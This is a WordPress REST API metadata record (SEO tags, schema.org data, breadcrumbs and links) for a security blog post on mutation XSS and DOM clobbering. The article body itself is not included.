[&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3973,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[41,39,38],"class_list":["post-3972","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-applications","tag-best-practices","tag-flaws-attacks","tag-pentest"],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[],"version":8}},"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.2 - aioseo.com -->\n\t<meta name=\"description\" content=\"What are Mutations XSS (mXSS) and DOM clobbering? This article explains how they work, how they are exploited, and the relevant security best practices\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Eli T.\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.2\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"HackAgora \u2013 Expose. Understand. Defend.\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"mXSS and DOM Clobbering: Exploitations and Security Tips\" \/>\n\t\t<meta property=\"og:description\" content=\"What are Mutations XSS (mXSS) and DOM clobbering? This article explains how they work, how they are exploited, and the relevant security best practices\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/hackagora.com\/wp-content\/uploads\/2026\/06\/logo_hackagora_agora_color.svg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/hackagora.com\/wp-content\/uploads\/2026\/06\/logo_hackagora_agora_color.svg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"313\" \/>\n\t\t<meta property=\"og:image:height\" content=\"122\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2026-09-07T21:17:44+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2026-09-17T09:27:11+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"mXSS and DOM Clobbering: Exploitations and Security Tips\" \/>\n\t\t<meta name=\"twitter:description\" content=\"What are Mutations XSS (mXSS) and DOM clobbering? This article explains how they work, how they are exploited, and the relevant security best practices\" \/>\n\t\t<meta name=\"twitter:image\" content=\"https:\/\/hackagora.com\/wp-content\/uploads\/2026\/06\/logo_hackagora_agora_color.svg\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#blogposting\",\"name\":\"mXSS and DOM Clobbering: Exploitations and Security Tips\",\"headline\":\"Mutation XSS (mXSS) and DOM Clobbering: Exploitations and Security Best Practices\",\"author\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/author\\\/traorea_hg\\\/#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/#organization\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/hackagora.com\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/mxss-dom-clobbering.svg\",\"width\":885,\"height\":659,\"caption\":\"mxss dom clobbering\"},\"datePublished\":\"2026-09-07T21:17:44+00:00\",\"dateModified\":\"2026-09-17T09:27:11+00:00\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#webpage\"},\"articleSection\":\"Applications, best practices, flaws &amp; attacks, pentest\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/hackagora.com\\\/en\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/category\\\/applications\\\/#listItem\",\"name\":\"Applications\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/category\\\/applications\\\/#listItem\",\"position\":2,\"name\":\"Applications\",\"item\":\"https:\\\/\\\/hackagora.com\\\/en\\\/category\\\/applications\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#listItem\",\"name\":\"Mutation XSS (mXSS) and DOM Clobbering: Exploitations and Security Best Practices\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#listItem\",\"position\":3,\"name\":\"Mutation XSS (mXSS) and DOM Clobbering: Exploitations and Security Best Practices\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/category\\\/applications\\\/#listItem\",\"name\":\"Applications\"}}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/#organization\",\"name\":\"HackAgora\",\"description\":\"Expose. Understand. Defend.\",\"url\":\"https:\\\/\\\/hackagora.com\\\/en\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/hackagora.com\\\/wp-content\\\/uploads\\\/2026\\\/06\\\/logo_hackagora_agora_color.svg\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#organizationLogo\",\"width\":313,\"height\":122},\"image\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#organizationLogo\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/author\\\/traorea_hg\\\/#author\",\"url\":\"https:\\\/\\\/hackagora.com\\\/en\\\/author\\\/traorea_hg\\\/\",\"name\":\"Eli T.\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/748941d304278b11e857c7ae5582eefefe0689f1b0642e56a2eda7b98bae722b?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Eli T.\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#webpage\",\"url\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/\",\"name\":\"mXSS and DOM Clobbering: Exploitations and Security Tips\",\"description\":\"What are Mutations XSS (mXSS) and DOM clobbering? This article explains how they work, how they are exploited, and the relevant security best practices\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/author\\\/traorea_hg\\\/#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/author\\\/traorea_hg\\\/#author\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/hackagora.com\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/mxss-dom-clobbering.svg\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#mainImage\",\"width\":885,\"height\":659,\"caption\":\"mxss dom clobbering\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\\\/#mainImage\"},\"datePublished\":\"2026-09-07T21:17:44+00:00\",\"dateModified\":\"2026-09-17T09:27:11+00:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/#website\",\"url\":\"https:\\\/\\\/hackagora.com\\\/en\\\/\",\"name\":\"HackAgora\",\"description\":\"Expose. Understand. Defend.\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/hackagora.com\\\/en\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"mXSS and DOM Clobbering: Exploitations and Security Tips","description":"What are Mutations XSS (mXSS) and DOM clobbering? This article explains how they work, how they are exploited, and the relevant security best practices","canonical_url":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#blogposting","name":"mXSS and DOM Clobbering: Exploitations and Security Tips","headline":"Mutation XSS (mXSS) and DOM Clobbering: Exploitations and Security Best Practices","author":{"@id":"https:\/\/hackagora.com\/en\/author\/traorea_hg\/#author"},"publisher":{"@id":"https:\/\/hackagora.com\/en\/#organization"},"image":{"@type":"ImageObject","url":"https:\/\/hackagora.com\/wp-content\/uploads\/2026\/09\/mxss-dom-clobbering.svg","width":885,"height":659,"caption":"mxss dom clobbering"},"datePublished":"2026-09-07T21:17:44+00:00","dateModified":"2026-09-17T09:27:11+00:00","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#webpage"},"isPartOf":{"@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#webpage"},"articleSection":"Applications, best practices, flaws &amp; attacks, pentest"},{"@type":"BreadcrumbList","@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/hackagora.com\/en\/#listItem","position":1,"name":"Home","item":"https:\/\/hackagora.com\/en\/","nextItem":{"@type":"ListItem","@id":"https:\/\/hackagora.com\/en\/category\/applications\/#listItem","name":"Applications"}},{"@type":"ListItem","@id":"https:\/\/hackagora.com\/en\/category\/applications\/#listItem","position":2,"name":"Applications","item":"https:\/\/hackagora.com\/en\/category\/applications\/","nextItem":{"@type":"ListItem","@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#listItem","name":"Mutation XSS (mXSS) and DOM Clobbering: Exploitations and Security Best Practices"},"previousItem":{"@type":"ListItem","@id":"https:\/\/hackagora.com\/en\/#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#listItem","position":3,"name":"Mutation XSS (mXSS) and DOM Clobbering: Exploitations and Security Best Practices","previousItem":{"@type":"ListItem","@id":"https:\/\/hackagora.com\/en\/category\/applications\/#listItem","name":"Applications"}}]},{"@type":"Organization","@id":"https:\/\/hackagora.com\/en\/#organization","name":"HackAgora","description":"Expose. Understand. Defend.","url":"https:\/\/hackagora.com\/en\/","logo":{"@type":"ImageObject","url":"https:\/\/hackagora.com\/wp-content\/uploads\/2026\/06\/logo_hackagora_agora_color.svg","@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#organizationLogo","width":313,"height":122},"image":{"@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#organizationLogo"}},{"@type":"Person","@id":"https:\/\/hackagora.com\/en\/author\/traorea_hg\/#author","url":"https:\/\/hackagora.com\/en\/author\/traorea_hg\/","name":"Eli T.","image":{"@type":"ImageObject","@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/748941d304278b11e857c7ae5582eefefe0689f1b0642e56a2eda7b98bae722b?s=96&d=mm&r=g","width":96,"height":96,"caption":"Eli T."}},{"@type":"WebPage","@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#webpage","url":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/","name":"mXSS and DOM Clobbering: Exploitations and Security Tips","description":"What are Mutations XSS (mXSS) and DOM clobbering? This article explains how they work, how they are exploited, and the relevant security best practices","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/hackagora.com\/en\/#website"},"breadcrumb":{"@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#breadcrumblist"},"author":{"@id":"https:\/\/hackagora.com\/en\/author\/traorea_hg\/#author"},"creator":{"@id":"https:\/\/hackagora.com\/en\/author\/traorea_hg\/#author"},"image":{"@type":"ImageObject","url":"https:\/\/hackagora.com\/wp-content\/uploads\/2026\/09\/mxss-dom-clobbering.svg","@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#mainImage","width":885,"height":659,"caption":"mxss dom clobbering"},"primaryImageOfPage":{"@id":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/#mainImage"},"datePublished":"2026-09-07T21:17:44+00:00","dateModified":"2026-09-17T09:27:11+00:00"},{"@type":"WebSite","@id":"https:\/\/hackagora.com\/en\/#website","url":"https:\/\/hackagora.com\/en\/","name":"HackAgora","description":"Expose. Understand. Defend.","inLanguage":"en-US","publisher":{"@id":"https:\/\/hackagora.com\/en\/#organization"}}]},"og:locale":"en_US","og:site_name":"HackAgora \u2013 Expose. Understand. Defend.","og:type":"article","og:title":"mXSS and DOM Clobbering: Exploitations and Security Tips","og:description":"What are Mutations XSS (mXSS) and DOM clobbering? This article explains how they work, how they are exploited, and the relevant security best practices","og:url":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/","og:image":"https:\/\/hackagora.com\/wp-content\/uploads\/2026\/06\/logo_hackagora_agora_color.svg","og:image:secure_url":"https:\/\/hackagora.com\/wp-content\/uploads\/2026\/06\/logo_hackagora_agora_color.svg","og:image:width":313,"og:image:height":122,"article:published_time":"2026-09-07T21:17:44+00:00","article:modified_time":"2026-09-17T09:27:11+00:00","twitter:card":"summary_large_image","twitter:title":"mXSS and DOM Clobbering: Exploitations and Security Tips","twitter:description":"What are Mutations XSS (mXSS) and DOM clobbering? This article explains how they work, how they are exploited, and the relevant security best practices","twitter:image":"https:\/\/hackagora.com\/wp-content\/uploads\/2026\/06\/logo_hackagora_agora_color.svg"},"aioseo_meta_data":{"post_id":"3972","title":"mXSS and DOM Clobbering: Exploitations and Security Tips","description":"What are Mutations XSS (mXSS) and DOM clobbering? This article explains how they work, how they are exploited, and the relevant security best practices","keywords":null,"keyphrases":{"focus":{"keyphrase":"mxss","score":0,"analysis":[]},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_custom_url":null,"og_image_custom_fields":null,"og_image_url":null,"og_image_width":null,"og_image_height":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_image_url":null,"twitter_title":null,"twitter_description":null,"schema_type":"default","schema_type_options":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"limit_modified_date":false,"ai":{"faqs":[],"keyPoints":[],"schemas":[],"titles":[],"descriptions":[],"socialPosts":{"email":{"subject":"","preview":"","content":""},"linkedin":[],"twitter":[],"facebook":[],"instagram":[]}},"breadcrumb_settings":null,"seo_analyzer_scan_date":null,"created":"2026-09-15 11:39:43","updated":"2026-09-17 10:28:58","focus_keyword":"mxss","additional_keywords":null,"truseo_locale":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/hackagora.com\/en\/\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/hackagora.com\/en\/category\/applications\/\" title=\"Applications\">Applications<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tMutation XSS (mXSS) and DOM Clobbering: Exploitations and Security Best Practices\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/hackagora.com\/en\/"},{"label":"Applications","link":"https:\/\/hackagora.com\/en\/category\/applications\/"},{"label":"Mutation XSS (mXSS) and DOM Clobbering: Exploitations and Security Best Practices","link":"https:\/\/hackagora.com\/en\/mutation-xss-mxss-and-dom-clobbering-exploitations-and-security-best-practices\/"}],"_links":{"self":[{"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/posts\/3972","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/comments?post=3972"}],"version-history":[{"count":23,"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/posts\/3972\/revisions"}],"predecessor-version":[{"id":3998,"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/posts\/3972\/revisions\/3998"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/media\/3973"}],"wp:attachment":[{"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/media?parent=3972"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/categories?post=3972"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackagora.com\/en\/wp-json\/wp\/v2\/tags?post=3972"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}